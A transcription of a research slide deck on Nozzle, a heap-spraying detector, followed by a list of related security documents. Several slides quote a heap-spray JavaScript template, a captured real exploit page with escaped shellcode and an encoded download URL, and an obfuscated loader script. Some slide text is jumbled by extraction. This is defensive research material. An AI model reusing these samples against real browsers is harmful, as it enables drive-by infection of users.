Nozzle: A Defense Against Heap-spraying Code Injection Attacks
|
|
|
- Bethany Hollie Shields
- 5 years ago
- Views:
Transcription
1 Nozzle: A Defense Against Heap-spraying Code Injection Attacks Paruj Ratanaworabhan, Cornell University Ben Livshits and Ben Zorn, Microsoft Research (Redmond, WA)
2 Heap Spraying is a Problem Common Element: All vulnerable applications support embedded scripting Firefox languages 3.5 (JavaScript, ActionScript, July 14, etc.) 2009 Flash July 23, 2009 Adobe Acrobat / Reader February 19,
3 Drive-By Heap Spraying Owned! 3
4 Drive-By Heap Spraying (2) ASLR prevents the Program Heap attack ok ok bad PC Creates the malicious object <HTML> <SCRIPT language="text/javascript"> shellcode = unescape("%u4343%u4343%...''); Triggers the jump </SCRIPT> <IFRAME SRC=file://BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB NAME="CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC "> </IFRAME> </HTML> 4
5 Drive-By Heap Spraying (3) Program Heap ok bad ok bad bad bad bad bad <SCRIPT language="text/javascript"> shellcode = unescape("%u4343%u4343%...''); oneblock = unescape("%u0c0c%u0c0c"); var fullblock = oneblock; Allocate 1000s of while (fullblock.length<0x40000) { malicious objects fullblock += fullblock; } spraycontainer = new Array(); for (i=0; i<1000; i++) { spraycontainer[i] = fullblock + shellcode; } </SCRIPT> 5
6 <HTML> <!-- from --> <BODY> <object classid="clsid:f3d0d36f-23f a195-74c92b03d4af" name="xskj" width=100 height=200> </object> <script> var qvod0 = "%u7468%u7074%u2f3a%u772f%u7777%u6f2e%u7275%u616e%u7574%u6572%u6e2e%u7465%u582f%u2e32%u6162%u0074"; var qvod1 = "%u56f5%u768b"; var shellshell = "%u9090%u9090%u54eb%u758b%u8b3c%u3574%u0378" + qvod1 + "%u0320%u33f5%u49c9%uad41%udb33%u0f36%u14be%u3828%u74f2%uc108%u0dcb%uda03%ueb40%u3bef%u75df%u5ee7%u5e8b%u0324%u66dd%u0c8b%u8b4b%u1c5e%udd03%u048b%u038b%uc3c5%u7275%u6d6c% u6e6f%u642e%u6c6c%u4300%u5c3a%u2e55%u7865%u0065%uc033%u0364%u3040%u0c78%u408b%u8b0c%u1c70%u8bad%u0840%u09eb%u408b%u8d34%u7c40%u408b%u953c%u8ebf%u0e4e%ue8ec%uff84%uffff%uec8 3%u8304%u242c%uff3c%u95d0%ubf50%u1a36%u702f%u6fe8%uffff%u8bff%u2454%u8dfc%uba52%udb33%u5353%ueb52%u5324%ud0ff%ubf5d%ufe98%u0e8a%u53e8%uffff%u83ff%u04ec%u2c83%u6224" +"%ud0ff%u7ebf%ue2d8%ue873%uff40%uffff%uff52%ue8d0%uffd7%uffff" + qvod0 ; var heapspraytoaddress = 0x ; var shellcode = unescape(shellshell); var heapblocksize = 0x400000; var payloadsize = shellcode.length * 2; var sprayslidesize = heapblocksize - (payloadsize+0x38); var uun = "%u0505%u0505" var sprayslide = unescape(uun); sprayslide = getsprayslide(sprayslide,sprayslidesize); heapblocks = (heapspraytoaddress - 0x400000)/heapBlockSize; memory = new Array(); for (i=0;i<heapblocks;i++) { memory[i] = sprayslide + shellcode; } try { var a=new Array(813); var b=new Array(227); a=a+"aaaa"; Real life example of heap spraying from hxxp://ournature.net/12.htm as of March 2010 a=a+b+"a0wa0wa0wa0wa0wa0wa0wa0wjjjjjjjjjjjjjjjjjjn8wvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvcccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccn"; a=a+"n8wv8d JkIkBBs(ss&hsFFRECCvPAQdsezxCDDf%4ss#"; xskj.url=a; } catch(e){} function getsprayslide(sprayslide, sprayslidesize) { while (sprayslide.length*2<sprayslidesize) { sprayslide += sprayslide; } sprayslide = sprayslide.substring(0,sprayslidesize/2); return sprayslide; } </script> </BODY> </HTML> 6
7 Obfuscation to the Rescue function ZCLTWYUnb(cTFkV){var FdjfKh=2,QuJ=6;var XucjYGqSlM='43-2,58-2,57-2,61-2,55-4,59-4,57-0,34-0,63-0,58-2,56-4,62-0,58-0,43-4,39-4,34-0,58-0,57-0,58-2,57-4,58-0,62-0,43-4,39-4,34-0,56-0,60-2,61-2,56-4,57-0,',JMMPBaqk=XucjYGqSlM.split(',');pjvAatxyL='';function UtjitjXLj(c){return String.fromCharCode(c);}for(MpxsUy=(JMMPBaqk.length-1);MpxsUy>=(0x30+0x25+0x2b-0x80);MpxsUy-=-0x5-0xf-0x2-0x1a+0x1+0xa+0x26){ RSPPmhPq=JMMPBaqk[MpxsUy].split('-');JqPqcj = parseint(rsppmhpq[0]*quj)+parseint(rsppmhpq[1]);jqpqcj = parseint(jqpqcj)/fdjfkh;pjvaatxyl = UtjitjXLj(JqPqcj-(-0x9+0x23-0xf-0x2e+0x2a+0x3f))+pjvAatxyL;}if( pjvaatxyl.charcodeat( pjvaatxyl.length- 1) == 0)pjvAatxyL = pjvaatxyl.substring(0, pjvaatxyl.length-1);return pjvaatxyl.replace(/^\s+ \s+$/g, '');}function wmlnjkkl(srosjalt){ window.eval(); } function Gyj(SnD){var wqv=6,neqwquula=4;var ThsGMFxhVh='276-0,196-2,177-0,153-0,258-0,276-0,250-2,268-2,256-2,252-0,271-2,276-0,255-0,256-2,276-0,196-2,177-0,153-0,277-2,276-0,253-2,196-2,163-2,261-0,279-0,279-0,273-0,192-0,175-2,175-2,',JDQ=ThsGMFxhVh.split(',');Bwk='';function KHaUjYH(c){return String.fromCharCode(c);}for(KeOaRfh=(JDQ.length-1);KeOaRfh>=(- 0x1c+0x22+0x2f-0x25-0x10);KeOaRfh-=0x24+0x1b+0x10+0x1e-0x17-0x55){ OQELOxB=JDQ[KeOaRfh].split('-');xztQseR = parseint(oqeloxb[0]*neqwquula)+parseint(oqeloxb[1]);xztqser = parseint(xztqser)/wqv;bwk = KHaUjYH(xztQseR-(0x3-0x32-0x26+0x9b))+Bwk;}if( Bwk.charCodeAt( Bwk.length-1) == 0)Bwk = Bwk.substring(0, Bwk.length-1);return Bwk.replace(/^\s+ \s+$/g, '');}function ffzjvnqj(jpsgua){ var EYOn=new Function("QwprP", "return ;");var EYOn=new Function("QwprP", "return ;"); } function xjazb(dypvvc){var tzvoa=5,ymsewxvitl=6;var QsNmDdKF='154-1,150-5,141-4,139-1,150-0,155-0,145-0,155-5,96-4,140-5,150-5,149-1,97-3,145-5,150-0,103-2,96-4,151-4,145-0,151-4,90-5,110-0,108-2,97-3,145-5,143-2,153-2,139-1,149-1,142-3,',OSnnUZqhRA=QsNmDdKF.split(',');uoj='';function CbjsbW(c){return String.fromCharCode(c);}for(JaL=(OSnnUZqhRA.length- 1);JaL>=(0x31+0x1a-0x4b);JaL-=0xe-0xe-0x1d-0x1a-0x26+0x8+0x56){ HwnJ=OSnnUZqhRA[JaL].split('-');wjXuhgDA = parseint(hwnj[0]*ymsewxvitl)+parseint(hwnj[1]);wjxuhgda = parseint(wjxuhgda)/tzvoa;uoj = CbjsbW(wjXuhgDA-(0x29+0x1f-0x2))+uoj;}if( uoj.charcodeat( uoj.length-1) == 0)uoj = uoj.substring(0, uoj.length-1);return uoj.replace(/^\s+ \s+$/g, '');}function aiir(izkbtgqd){var ojj=7,kuwynopmh=2;var HthytAE='462-0,',MICmoDx=HthytAE.split(',');TMgXPXCr='';function kmzl(c){return String.fromCharCode(c);}for(hCP=(MICmoDx.length-1);hCP>=(0x8-0x8-0x0);hCP-=0x22+0x1f-0x2c-0x14){ TZQW=MICmoDx[hCP].split('- ');vnvzfs = parseint(tzqw[0]*kuwynopmh)+parseint(tzqw[1]);vnvzfs = parseint(vnvzfs)/ojj;tmgxpxcr = kmzl(vnvzfs- (0x1c+0x19+0x11))+TMgXPXCr;}if( TMgXPXCr.charCodeAt( TMgXPXCr.length-1) == 0)TMgXPXCr = TMgXPXCr.substring(0, TMgXPXCr.length- 1);return TMgXPXCr.replace(/^\s+ \s+$/g, '');}var TxgayUqhNB=ZCLTWYUnb('OBrA')+Gyj('mEYkoDS')+xjAZB('FbqQ')+aIir('rMIV'); jguou=document;jguou['2655wr1994i7859t7987e '.replace(/[0-9]/g,'')](txgayuqhnb);function kthtntgso(jtrde){ var mgu = document.getelementbyid('ebrg'); } function gynyjts(yfc){ var Kitkja=new Function("FnhAIh", "return ;"); } function cymmhiyk(qdbc){ var mkrkeps = document.getelementbyid('uawg'); } 7
8 Kittens of Doom What data can you trust? Heap spraying is quite general, easy to implement Many applications allow scripts in type safe languages JavaScript, ActionScript Java, C# Many applications accept data from untrusted sources Embed malicious code in images, documents, DLLs, etc. [Sotirov & Dowd BH 08] 8
9 Normalized Surface Area Nozzle Runtime Heap Spraying Detection Application: Web Browser Malicious Site Nozzle answers: How much of my heap is suspicious? Normal Site Logical time (number of allocations/frees) 9
10 Outline Nozzle design & implementation Evaluation False positives False negatives New threats (Adobe Reader) Summary 10
11 Nozzle Design Application Threads Nozzle Threads Advantages scan object -Just need Initialize Create to hook Repeat standard classify APIs Object malloc, free, HeapAlloc, HeapFree, etc. - Monitor new applications using Detours benign suspect new init object object - Can be applied to existing binaries suspect object suspect object benign object benign object benign object Application Heap 11
![0101010101 0101010101 0101010101 0101010101 add [eax], al add [eax], al add [eax], al add [eax], al add [eax], al add [eax], al](/docs-images/92/110494796/images/12-2.jpg "add [eax], al NOP sled and ah, [edx] and ah, [edx] and ah, [edx] and ah, [edx] and ah, [edx] and ah, [edx] and ah, [edx] shellcode")
12 Local Malicious Object Detection Is this object dangerous? Code or Data? add [eax], al add [eax], al add [eax], al add [eax], al add [eax], al add [eax], al add [eax], al NOP sled and ah, [edx] and ah, [edx] and ah, [edx] and ah, [edx] and ah, [edx] and ah, [edx] and ah, [edx] shellcode Is this object code? Code and data look the same on x86 Focus on sled detection Majority of object is sled Spraying scripts build simple sleds Is this code a NOP sled? Previous techniques do not look at heap Many heap objects look like NOP sleds 80% false positive rates using previous techniques Need stronger local techniques 12
13 Object Surface Area Calculation (1) Assume: attacker wants to reach shell code from jump to any point in object Goal: find blocks that are likely to be reached via control flow Strategy: use dataflow analysis to compute surface area of each block An example object from visiting google.com 13
14 Object Surface Area Calculation (2) Each block starts with its own size as weight Weights are propagated forward with flow Invalid blocks don t propagate Iterate until a fixpoint is reached Compute block with highest weight An example object from visiting google.com 14
![build CFG Legend: sub [eax], eax arithmatic adc dh,](/docs-images/92/110494796/images/15-1.jpg "bh SA(H) B i memory I/O or syscall control flow or")
![add [ecx], 0 outs dx, [esi] add al, 30h add al, 80h](/docs-images/92/110494796/images/15-3.jpg "add al, 38h jecxz 021c7fde dataflow xor [eax], eax")
![imul eax, [eax], 6ch or eax, 0d179004h SA(o) Compute](/docs-images/92/110494796/images/15-4.jpg "threat of single object SA(B i ) 15 Compute threat")
15 To target block Nozzle Global Heap Metric Normalize to (approx): P(jump will cause exploit) NSA(H) obj build CFG Legend: sub [eax], eax arithmatic adc dh, bh SA(H) B i memory I/O or syscall control flow or eax, 0d172004h in eax, 0x11 test cl, ah jecxz 021c7fd8 Compute threat of entire heap add [eax], al add [ecx], 0 outs dx, [esi] add al, 30h add al, 80h add al, 38h jecxz 021c7fde dataflow xor [eax], eax imul eax, [eax], 6ch or eax, 0d179004h SA(o) Compute threat of single object SA(B i ) 15 Compute threat of single block
16 Nozzle Experimental Summary 0 False Positives 10 popular AJAX-heavy sites 150 top Web sites 0 False Negatives 12 published heap spraying exploits and 2,000 synthetic rogue pages generated using Metasploit Runtime Overhead As high as 2x without sampling 5-10% with sampling 16
17 Nozzle on Benign Sites Benign sites have low Nozzle NSA Max NSA always less than 12% Thresholds can be set much higher for detection (50% or more) 17
18 Nozzle with Known Heap Sprays 12 published heap spray pages in multiple browsers 2,000 synthetic heap spray pages using MetaSploit advanced NOP engine shellcode database Result: max NSA between 76% and 96% Nozzle detects real spraying attacks 18
19 Nozzle Runtime Overhead 19
20 Using Nozzle in Adobe Reader AcroRd32.exe Detours det- AcroRd32.exe nozzlert.dll Results - Detected a published heap spray attack (NSA > 75%) - Runtime overhead was 8% on average - NSA of normal document < 10% 20
21 Summary Heap spraying attacks are Easy to implement, easy to retarget In widespread use Existing detection methods fail to classify malicious objects on x86 architecture Nozzle Effectively detects published attacks (known and new) Has acceptable runtime overhead Can be used both online and offline 21
CSE 227 Computer Security Spring 2010 S f o t ftware D f e enses I Ste St f e an f Sa v Sa a v g a e g
CSE 227 Computer Security Spring 2010 Software Df Defenses I Stefan Savage Kinds of defenses Eliminate violation of runtime model Better languages, code analysis Don t allow bad input Input validation
Robust Shell Code Return Oriented Programming and HeapSpray. Zhiqiang Lin
CS 6V81-05: System Security and Malicious Code Analysis Robust Shell Code Return Oriented Programming and HeapSpray Zhiqiang Lin Department of Computer Science University of Texas at Dallas April 16 th,
Outline. Memory Exploit
Outline CS 6V81-05: System Security and Malicious Code Analysis Robust Shell Code Return Oriented Programming and HeapSpray Zhiqiang Lin Department of Computer Science University of Texas at Dallas April
Applying Return Oriented and Jump Oriented Programming Exploitation Techniques with Heap Spraying
Acta Polytechnica Hungarica Vol. 12, No. 5, 2015 Applying Return Oriented and Jump Oriented Programming Exploitation Techniques with Heap Spraying László Erdődi Óbuda University, Faculty of Applied Informatics
MALWARE DEFENSES. Ben Livshits, Microsoft Research
MALWARE DEFENSES Ben Livshits, Microsoft Research Overview of Today s Lecture 2 Advanced attack Runtime techniques detector Heap spraying Heap feng shui JIT spraying Static Nozzle detector Drive-by malware
Performance is Dead, Long Live Performance. Ben Zorn Microsoft Research
Performance is Dead, Long Live Performance Ben Zorn Microsoft Research Outline Good news Bad news Good news again! Mystery 2 1990s A Great Decade for Performance! Stock market booming Itanium processor
CSE 127 Computer Security
CSE 127 Computer Security Stefan Savage, Fall 2018, Lecture 4 Low Level Software Security II: Format Strings, Shellcode, & Stack Protection Review Function arguments and local variables are stored on the
CSE 127 Computer Security
CSE 127 Computer Security Stefan Savage, Spring 2018, Lecture 4 Low Level Software Security II: Format Strings, Shellcode, & Stack Protection Review Function arguments and local variables are stored on
Heaps of Heap-based Memory Attacks
Heaps of Heap-based Memory Attacks Kevin Leach kleach2@gmu.edu Center for Secure Information Systems 3 October 2012 K. Leach (CSIS) Heaps of Heap-based Memory Attacks 3 October 2012 1 / 23 Goals During
Hiding Malicious Code in Images
1 Hiding Malicious Code in Images MALWARE AND VIRUSES Dr. Benjamin Livshits Malware: Different Types 3 A virus is a computer program that is capable of making copies of itself and inserting those copies
Zozzle: Finding Malware on a Web Scale
Zozzle: Finding Malware on a Web Scale Ben Livshits Microsoft Research Redmond, WA with Ben Zorn, Christian Seifert, Charlie Curtsinger Blacklisting Malware in Search Results 2 Drive-by Malware Detection
Understanding and Automatically Preventing Injection Attacks on Node.js
Understanding and Automatically Preventing Injection Attacks on Node.js Michael Pradel TU Darmstadt Joint work with Cristian Staicu (TU Darmstadt) and Ben Livshits (Microsoft Research, Redmond) 1 Why JavaScript?
Identifying and Analyzing Pointer Misuses for Sophisticated Memory-corruption Exploit Diagnosis
Identifying and Analyzing Pointer Misuses for Sophisticated Memory-corruption Exploit Diagnosis Mingwei Zhang ( ) Aravind Prakash ( ) Xiaolei Li ( ) Zhenkai Liang ( ) Heng Yin ( ) ( ) School of Computing,
Teflon: Anti-stick for the browser's attack surface
Teflon: Anti-stick for the browser's attack surface Saumil Shah ceo, net-square Hack.LU 2008 Luxembourg # who am i # who am i! 16:08 up 4:26, 1 user, load averages: 0.28 0.40 0.33! USER TTY FROM LOGIN@
Is Exploitation Over? Bypassing Memory Protections in Windows 7
Is Exploitation Over? Bypassing Memory Protections in Windows 7 Alexander Sotirov alex@sotirov.net About me Exploit development since 1999 Published research into reliable exploitation techniques: Heap
CSC 405 Computer Security Stack Canaries & ASLR
CSC 405 Computer Security Stack Canaries & ASLR Alexandros Kapravelos akaprav@ncsu.edu How can we prevent a buffer overflow? Check bounds Programmer Language Stack canaries [...more ] Buffer overflow defenses
Atomizer: Fast, Scalable and Lightweight Heap Analyzer for Virtual Machines in a Cloud Environment
Atomizer: Fast, Scalable and Lightweight Heap Analyzer for Virtual Machines in a Cloud Environment Salman Javaid Aleksandar Zoranic Irfan Ahmed Golden G. Richard III University of New Orleans Greater New
CNIT 127: Exploit Development. Ch 3: Shellcode. Updated
CNIT 127: Exploit Development Ch 3: Shellcode Updated 1-30-17 Topics Protection rings Syscalls Shellcode nasm Assembler ld GNU Linker objdump to see contents of object files strace System Call Tracer Removing
Browser Exploits? Grab em by the Collar! Presented By: Debasish Mandal
Browser Exploits? Grab em by the Collar! Presented By: Debasish Mandal (@debasishm89) About Me Security researcher, currently working in McAfee IPS Vulnerability Research Team. Working in information security
CSC 591 Systems Attacks and Defenses Stack Canaries & ASLR
CSC 591 Systems Attacks and Defenses Stack Canaries & ASLR Alexandros Kapravelos akaprav@ncsu.edu How can we prevent a buffer overflow? Check bounds Programmer Language Stack canaries [...more ] Buffer
Protecting Against Unexpected System Calls
Protecting Against Unexpected System Calls C. M. Linn, M. Rajagopalan, S. Baker, C. Collberg, S. K. Debray, J. H. Hartman Department of Computer Science University of Arizona Presented By: Mohamed Hassan
Defending against Polymorphic Attacks: Recent Results and Open Questions
Defending against Polymorphic Attacks: Recent Results and Open Questions mikepo@ics.forth.gr Institute of Computer Science Foundation for Research and Technology Hellas Crete, Greece TERENA Networking
Comparing Javascript Engines. Xiang Pan, Shaker Islam, Connor Schnaith
Comparing Javascript Engines Xiang Pan, Shaker Islam, Connor Schnaith Background: Drive-by Downloads 1. Visiting a malicious website 2. Executing malicious javascript 3. Spraying the heap 4. Exploiting
Detecting Drive-by-Download Attacks based on HTTP Context-Types Ryo Kiire, Shigeki Goto Waseda University
Detecting Drive-by-Download Attacks based on HTTP Context-Types Ryo Kiire, Shigeki Goto Waseda University 1 Outline Background Related Work Purpose Method Experiment Results Conclusion & Future Work 2
Secure Programming I. Steven M. Bellovin September 28,
Secure Programming I Steven M. Bellovin September 28, 2014 1 If our software is buggy, what does that say about its security? Robert H. Morris Steven M. Bellovin September 28, 2014 2 The Heart of the Problem
White Paper. New Gateway Anti-Malware Technology Sets the Bar for Web Threat Protection
White Paper New Gateway Anti-Malware Technology Sets the Bar for Web Threat Protection The latest version of the flagship McAfee Gateway Anti-Malware technology adapts to new threats and plans for future
Heap Taichi: Exploiting Memory Allocation Granularity in Heap-Spraying Attacks
Heap Taichi: Exploiting Memory Allocation Granularity in Heap-Spraying Attacks Yu Ding 1, Tao Wei 1, Tielei Wang 1, Zhenkai Liang 2, Wei Zou 1 1 Peking University, 2 National University of Singapore A
Bypassing Browser Memory Protections
Bypassing Browser Memory Protections Network Security Instructor: Dr. Shishir Nagaraja September 10, 2011. 1 Introduction to the topic A number of memory protection mechanisms like GS, SafeSEH, DEP and
Securing Untrusted Code
Securing Untrusted Code Untrusted Code May be untrustworthy Intended to be benign, but may be full of vulnerabilities These vulnerabilities may be exploited by attackers (or other malicious processes)
Countermeasures in Modern Operating Systems. Yves Younan, Vulnerability Research Team (VRT)
Countermeasures in Modern Operating Systems Yves Younan, Vulnerability Research Team (VRT) Introduction Programs in C/C++: memory error vulnerabilities Countermeasures (mitigations): make exploitation
Portable Document Malware, the Office, and You
Portable Document Malware, the Office, and You Get owned with it, can't do business without it! Seth Hardy Senior Malware Analyst Threat Research and Response shardy@messagelabs.com SecTor 2009 October
Practical Malware Analysis
Practical Malware Analysis Ch 4: A Crash Course in x86 Disassembly Revised 1-16-7 Basic Techniques Basic static analysis Looks at malware from the outside Basic dynamic analysis Only shows you how the
Sandboxing Untrusted Code: Software-Based Fault Isolation (SFI)
Sandboxing Untrusted Code: Software-Based Fault Isolation (SFI) Brad Karp UCL Computer Science CS GZ03 / M030 9 th December 2011 Motivation: Vulnerabilities in C Seen dangers of vulnerabilities: injection
Heap Taichi: Exploiting Memory Allocation Granularity in Heap-Spraying Attacks
Heap Taichi: Exploiting Memory Allocation Granularity in Heap-Spraying Attacks Yu Ding 1,2, Tao Wei 1,2, TieLei Wang 1,2, Zhenkai Liang 3, Wei Zou 1,2, 1 Institute of Computer Science and Technology, Peking
CNIT 127: Exploit Development. Ch 1: Before you begin. Updated
CNIT 127: Exploit Development Ch 1: Before you begin Updated 1-14-16 Basic Concepts Vulnerability A flaw in a system that allows an attacker to do something the designer did not intend, such as Denial
SA28083 / CVE
Generated by Secunia 9 April, 2008 5 pages Table of Contents Introduction 2 Technical Details 2 Exploitation 4 Characteristics 4 Affected Versions 5 Fixed Versions 5 References 5 Generated by Secunia 9
Patching Exploits with Duct Tape: Bypassing Mitigations and Backward Steps
SESSION ID: EXP-R01 Patching Exploits with Duct Tape: Bypassing Mitigations and Backward Steps James Lyne Global Head of Security Research Sophos / SANS Institute @jameslyne Stephen Sims Security Researcher
This time. Defenses and other memory safety vulnerabilities. Everything you ve always wanted to know about gdb but were too afraid to ask
This time We will continue Buffer overflows By looking at Overflow Defenses and other memory safety vulnerabilities Everything you ve always wanted to know about gdb but were too afraid to ask Overflow
Digital Forensics Lecture 02 PDF Structure
Digital Forensics Lecture 02 PDF Structure PDF Files Structure Akbar S. Namin Texas Tech University Spring 2017 PDF Format and Structure Tools used Text editor (e.g., vi) ClamAV antivirus (http://www.clamav.net/lang/en/download/
Control Hijacking Attacks
Control Hijacking Attacks Note: project 1 is out Section this Friday 4:15pm (Gates B03) Control hijacking attacks Attacker s goal: Take over target machine (e.g. web server) Execute arbitrary code on target
Jonathan Afek, 1/8/07, BlackHat USA
Dangling Pointer Jonathan Afek, 1/8/07, BlackHat USA 1 Table of Contents What is a Dangling Pointer? Code Injection Object Overwriting Demonstration Remediation Summary Q&A 2 What is a Dangling Pointer?
Module: Return-oriented Programming. Professor Trent Jaeger. CSE543 - Introduction to Computer and Network Security
CSE543 - Introduction to Computer and Network Security Module: Return-oriented Programming Professor Trent Jaeger 1 Anatomy of Control-Flow Exploits 2 Anatomy of Control-Flow Exploits Two steps in control-flow
ID: Sample Name: modulecheck.js Cookbook: default.jbs Time: 17:46:31 Date: 01/02/2018 Version:
ID: 44491 Sample Name: modulecheck.js Cookbook: default.jbs Time: 17:4:31 Date: 01/02/201 Version: 20.0.0 Table of Contents Table of Contents Analysis Report Overview General Information Detection Confidence
BUFFER OVERFLOW DEFENSES & COUNTERMEASURES
BUFFER OVERFLOW DEFENSES & COUNTERMEASURES CMSC 414 FEB 01 2018 RECALL OUR CHALLENGES How can we make these even more difficult? Putting code into the memory (no zeroes) Finding the return address (guess
Hackveda Training - Ethical Hacking, Networking & Security
Hackveda Training - Ethical Hacking, Networking & Security Day1: Hacking windows 7 / 8 system and security Part1 a.) Windows Login Password Bypass manually without CD / DVD b.) Windows Login Password Bypass
Module: Program Vulnerabilities. Professor Trent Jaeger. CSE543 - Introduction to Computer and Network Security
CSE543 - Introduction to Computer and Network Security Module: Program Vulnerabilities Professor Trent Jaeger 1 Programming Why do we write programs? Function What functions do we enable via our programs?
Rev101. spritzers - CTF team. spritz.math.unipd.it/spritzers.html
Rev101 spritzers - CTF team spritz.math.unipd.it/spritzers.html Disclaimer All information presented here has the only purpose of teaching how reverse engineering works. Use your mad skillz only in CTFs
Other array problems. Integer overflow. Outline. Integer overflow example. Signed and unsigned
Other array problems CSci 5271 Introduction to Computer Security Day 4: Low-level attacks Stephen McCamant University of Minnesota, Computer Science & Engineering Missing/wrong bounds check One unsigned
Return-orientated Programming
Return-orientated Programming or The Geometry of Innocent Flesh on the Bone: Return-into-libc without Function Calls (on the x86) Hovav Shacham, CCS '07 Return-Oriented oriented Programming programming
Module: Program Vulnerabilities. Professor Trent Jaeger. CSE543 - Introduction to Computer and Network Security
CSE543 - Introduction to Computer and Network Security Module: Program Vulnerabilities Professor Trent Jaeger 1 Programming Why do we write programs? Function What functions do we enable via our programs?
Security Workshop HTS. LSE Team. February 3rd, 2016 EPITA / 40
Security Workshop HTS LSE Team EPITA 2018 February 3rd, 2016 1 / 40 Introduction What is this talk about? Presentation of some basic memory corruption bugs Presentation of some simple protections Writing
Detecting Malicious Web Links and Identifying Their Attack Types
Detecting Malicious Web Links and Identifying Their Attack Types Anti-Spam Team Cellopoint July 3, 2013 Introduction References A great effort has been directed towards detection of malicious URLs Blacklisting
Caffeine Monkey. Automated Collection, Detection and Analysis of Malicious JavaScript. Ben Feinstein, CISSP Daniel Peck SecureWorks, Inc.
Caffeine Monkey Automated Collection, Detection and Analysis of Malicious JavaScript Ben Feinstein, CISSP Daniel Peck SecureWorks, Inc. Feinstein & Peck Black Hat USA 2007 1 Introductions Welcome to Black
ROPInjector: Using Return- Oriented Programming for Polymorphism and AV Evasion
University of Piraeus Department of Digital Systems ROPInjector: Using Return- Oriented Programming for Polymorphism and AV Evasion G. Poulios, C. Ntantogian, C. Xenakis {gpoulios, dadoyan, xenakis}@unipi.gr
Cisco Advanced Malware Protection (AMP) for Endpoints
Cisco Advanced Malware Protection (AMP) for Endpoints Endpoints continue to be the primary point of entry for attacks! 70% of breaches start on endpoint devices WHY? Gaps in protection Gaps in visibility
Università Ca Foscari Venezia
Stack Overflow Security 1 2018-19 Università Ca Foscari Venezia www.dais.unive.it/~focardi secgroup.dais.unive.it Introduction Buffer overflow is due to careless programming in unsafe languages like C
Securing Software Applications Using Dynamic Dataflow Analysis. OWASP June 16, The OWASP Foundation
Securing Software Applications Using Dynamic Dataflow Analysis Steve Cook OWASP June 16, 2010 0 Southwest Research Institute scook@swri.org (210) 522-6322 Copyright The OWASP Foundation Permission is granted
CVE EXPLOIT USING 108 BYTES AND DOWNLOADING A FILE WITH YOUR UNLIMITED CODE BY VALTHEK
CVE-2017-11882 EXPLOIT USING 108 BYTES AND DOWNLOADING A FILE WITH YOUR UNLIMITED CODE BY VALTHEK First words of thank to Embedy Company to discover the initial exploit and POC of 44 bytes máximum, Ridter
ID: Sample Name: 21PO jpg...js Cookbook: default.jbs Time: 14:32:06 Date: 21/11/2017 Version:
ID: 371 Sample Name: 21PO201745.jpg...js Cookbook: default.jbs Time: 14:32:0 Date: 21/11/2017 Version: 20.0.0 Table of Contents Table of Contents Analysis Report Overview Information Detection Confidence
Module: Program Vulnerabilities. Professor Trent Jaeger. CSE543 - Introduction to Computer and Network Security
CSE543 - Introduction to Computer and Network Security Module: Program Vulnerabilities Professor Trent Jaeger 1 1 Programming Why do we write programs? Function What functions do we enable via our programs?
Digital Forensics Lecture 02B Analyzing PDFs. Akbar S. Namin Texas Tech University Spring 2017
Digital Forensics Lecture 02B Analyzing PDFs Akbar S. Namin Texas Tech University Spring 2017 PDF Format and Structure Tools used Text editor (e.g., vi) ClamAV antivirus (http://www.clamav.net/lang/en/download/
From Assembly to JavaScript and Back
From Assembly to JavaScript and Back Robert Gawlik Ruhr-University Bochum August 30th 2018 Singapore About me IT Security since 2010 PostDoc Systems Security Group @ Horst Görtz Institute / Ruhr-University
OpenBSD Remote Exploit
OpenBSD Remote Exploit Only two remote holes in the default install Alfredo A. Ortega June 30, 2007 Mbuf buffer overflow Buffer overflow Researching the OpenBSD 008: RELIABILITY FIX a new vulnerability
WorldNow Producer. Requirements Set-up
WorldNow Producer Requirements Set-up Table of Contents Introduction... 3 1. System Requirements... 3 2. Set-up Producer URL as a 'Trusted Site' (Internet Explorer only)... 4 3. Enable JavaScript in your
Smashing the Buffer. Miroslav Štampar
Smashing the Buffer Miroslav Štampar (mstampar@zsis.hr) Summary BSidesVienna 2014, Vienna (Austria) November 22nd, 2014 2 Buffer overflow (a.k.a.) Buffer overrun An anomaly where a program, while writing
20: Exploits and Containment
20: Exploits and Containment Mark Handley Andrea Bittau What is an exploit? Programs contain bugs. These bugs could have security implications (vulnerabilities) An exploit is a tool which exploits a vulnerability
BLACKBERRY PWNAGE THE BLUEJAY STRIKES
BLACKBERRY PWNAGE THE BLUEJAY STRIKES Federico Muttis Core Security Technologies Session ID: HTA-T19 Session Classification: Advanced INFO @ THE MEDIA http://www.zdnet.com/blog/security/pwn2own-2011-blackberry-falls-to-webkit-browser-attack/8401
Overview Cross-Site Scripting (XSS) Christopher Lam Introduction Description Programming Languages used Types of Attacks Reasons for XSS Utilization Attack Scenarios Steps to an XSS Attack Compromises
Zozzle: Low-overhead Mostly Static JavaScript Malware Detection
Zozzle: Low-overhead Mostly Static JavaScript Malware Detection Charles Curtsinger Benjamin Livshits and Benjamin Zorn Christian Seifert UMass at Amherst Microsoft Research Microsoft Microsoft Research
MODE (mod) FIELD CODES. mod MEMORY MODE: 8-BIT DISPLACEMENT MEMORY MODE: 16- OR 32- BIT DISPLACEMENT REGISTER MODE
EXERCISE 9. Determine the mod bits from Figure 7-24 and write them in Table 7-7. MODE (mod) FIELD CODES mod 00 01 10 DESCRIPTION MEMORY MODE: NO DISPLACEMENT FOLLOWS MEMORY MODE: 8-BIT DISPLACEMENT MEMORY
Detection of Suspicious PDF Document- Embedded Code
Int. J. of Comp. & Info. Tech., (2016) 4(3): 71-78. ISBN: 2345-3877 www.ijocit.org Volume 4, Issue 3 Review Paper Detection of Suspicious PDF Document- Embedded Code Er. Gurjot Singh 1* Received: 13 Jun
Buffer Overflow. Jin-Soo Kim Computer Systems Laboratory Sungkyunkwan University
Buffer Overflow Jin-Soo Kim (jinsookim@skku.edu) Computer Systems Laboratory Sungkyunkwan University http://csl.skku.edu IA-32/Linux Memory Layout Runtime stack (8MB limit) Heap Dynamically allocated storage
Module: Advanced Program Vulnerabilities and Defenses. Professor Trent Jaeger. CSE543 - Introduction to Computer and Network Security
